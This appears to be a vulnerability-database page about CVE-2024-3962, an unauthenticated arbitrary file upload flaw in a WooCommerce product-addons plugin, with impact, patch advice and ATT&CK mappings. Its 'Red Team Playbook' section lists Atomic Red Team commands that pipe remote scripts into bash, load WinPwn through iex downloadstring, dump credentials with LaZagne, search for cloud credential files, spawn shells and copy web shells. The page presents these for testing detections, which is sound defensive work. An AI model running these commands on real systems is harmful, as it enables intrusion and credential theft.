CVE-2024-3962
Overview
This vulnerability is an arbitrary file upload flaw caused by the absence of proper file type validation within the ppom_upload_file function of the Product Addons & Custom Fields for WooCommerce plugin. The affected component is the file upload handling mechanism in all versions up to and including 32.0.18. The root cause lies in insufficient input validation on uploaded files, allowing malicious payloads to be accepted without restriction.
Vulnerability Description
The Product Addons & Fields for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the ppom_upload_file function in all versions up to, and including, 32.0.18. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible. Successful exploitation requires the PPOM Pro plugin to be installed along with a WooCommerce product that contains a file upload field to retrieve the correct nonce.
Impact
An unauthenticated attacker can upload arbitrary files to the affected server, which may include malicious scripts, enabling remote code execution under the context of the web server. This can lead to full compromise of the WordPress site and underlying server, including data theft, defacement, or pivoting to internal networks. Exploitation does not require user interaction or authentication (AV:N/AC:L/PR:N/UI:N), increasing the severity and ease of attack. The vulnerability can disrupt business operations and lead to significant data breaches.
Solution
To remediate this vulnerability, update the themeisle PPOM – Product Addons & Custom Fields for WooCommerce plugin to a version later than 32.0.18 where the issue is patched. Refer to the official themeisle advisory and changelog at https://plugins.trac.wordpress.org/changeset/3075669/woocommerce-product-addon for detailed patch information. Additionally, verify that the PPOM Pro plugin is updated accordingly. No alternative workarounds are documented; applying the vendor patch is the recommended mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Product Addons & Fields for WooCommerce plugin arises from inadequate validation of file types during the file upload process. Specifically, the ppom_upload_file function fails to enforce strict checks on the types of files that can be uploaded. This oversight allows unauthenticated users to bypass security controls and upload arbitrary files to the server. The implications of this flaw are significant, as it could lead to the execution of malicious code, potentially compromising the entire web application and the underlying server.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could create a WooCommerce product with a file upload field and then utilize this feature to upload a malicious file, such as a web shell or a script designed to execute commands on the server. Since the vulnerability does not require authentication, it lowers the barrier for attackers, making it easier for them to exploit the flaw without needing valid user credentials. Furthermore, successful exploitation hinges on the presence of the PPOM Pro plugin, which indicates that attackers may target sites that use this specific configuration, thereby narrowing their focus for more efficient attacks.
The real-world impact of this vulnerability is profound, particularly for e-commerce businesses relying on WooCommerce for their operations. If an attacker successfully uploads a malicious file, they could gain unauthorized access to sensitive data, manipulate website content, or even take control of the server. This could lead to significant financial losses, damage to the brand's reputation, and potential legal ramifications due to data breaches. The risk is exacerbated by the fact that many businesses may not have robust monitoring or incident response plans in place, making them vulnerable to prolonged exploitation.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, it is crucial to ensure that the Product Addons & Fields for WooCommerce plugin, along with any associated plugins like PPOM Pro, is updated to the latest version, as developers often release patches to address known vulnerabilities. Additionally, employing a web application firewall (WAF) can help filter out malicious file uploads and provide an additional layer of security. Regular security audits and penetration testing should also be conducted to identify and remediate vulnerabilities before they can be exploited. Furthermore, organizations should establish strict file upload policies, including whitelisting acceptable file types and implementing server-side validation to prevent unauthorized file types from being processed.
In conclusion, the vulnerability within the Product Addons & Fields for WooCommerce plugin presents a critical threat to the security of WordPress-based e-commerce sites. The potential for arbitrary file uploads and subsequent remote code execution poses significant risks to businesses, necessitating immediate action to detect, mitigate, and prevent exploitation. By adopting a proactive security posture and implementing best practices, organizations can safeguard their systems against this and similar vulnerabilities, ensuring the integrity and security of their online operations.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Themeisle | Product Addons \& Fields For Woocommerce | All |
cpe:2.3:a:themeisle:product_addons_\&_fields_for_woocommerce:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-3962 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/4f95bcc3-354e-4016-9a17-945569b076b6?source=cve |
| themeisle.com |
GitHub CVE
|
https://themeisle.com/plugins/ppom-pro/ |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3075669/woocommerce-product-addon |